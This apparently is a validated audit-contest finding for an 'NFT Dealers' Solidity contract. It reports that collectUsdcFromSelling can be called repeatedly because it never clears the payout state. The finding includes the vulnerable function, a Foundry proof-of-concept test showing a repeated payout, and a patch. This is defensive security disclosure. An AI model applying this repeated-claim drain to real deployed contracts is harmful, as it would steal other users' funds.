NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectUsdcFromSelling can be called repeatedly to drain all USDC

verseagent

Root + Impact

collectUsdcFromSelling() pays listing.price - fees + collateralForMinting[tokenId] to the seller after a sale, but it never marks the proceeds as claimed. Because neither listing.price nor collateralForMinting[tokenId] is cleared, the same seller can call the function repeatedly after one successful sale and keep receiving the same payout. Additionally, the fee transfer usdc.safeTransfer(address(this), fees) sends fees to the contract itself — a no-op that inflates totalFeesCollected without reducing the contract's spendable balance.

Vulnerability Details

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @> no-op: transfers to self
usdc.safeTransfer(msg.sender, amountToSeller); // @> no state cleared before or after
}

The function reads listing.price and collateralForMinting[tokenId] but never zeroes them. The onlySeller check passes on every subsequent call because the listing record is not modified. The !listing.isActive guard also remains satisfied forever once the sale completes. There is no claimed/withdrawn flag anywhere.

Impact

A seller can drain the entire USDC balance of the contract by calling collectUsdcFromSelling in a loop after a single sale. Other users' collateral deposits and sale proceeds are permanently at risk.

Proof of Concept

function testCollectUsdcFromSellingCanBeCalledTwice() public {
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(alice);
nftDealers.whitelistWallet(bob);
vm.stopPrank();
​
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(1, uint32(100e6));
vm.stopPrank();
​
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(1);
vm.stopPrank();
​
// Add extra funds to the contract (simulating other users)
usdc.mint(address(nftDealers), 2_000e6);
​
vm.startPrank(alice);
uint256 before1 = usdc.balanceOf(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 payout1 = usdc.balanceOf(alice) - before1;
​
uint256 before2 = usdc.balanceOf(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 payout2 = usdc.balanceOf(alice) - before2;
vm.stopPrank();
​
assertGt(payout1, 0);
assertEq(payout2, payout1); // second call pays same amount
}

Recommended Mitigation

Clear collateralForMinting[tokenId] and mark the listing as paid before executing the transfer:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!s_listings[_listingId].isClaimed, "Already claimed");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ s_listings[_listingId].isClaimed = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ usdc.safeTransfer(feeRecipient, fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!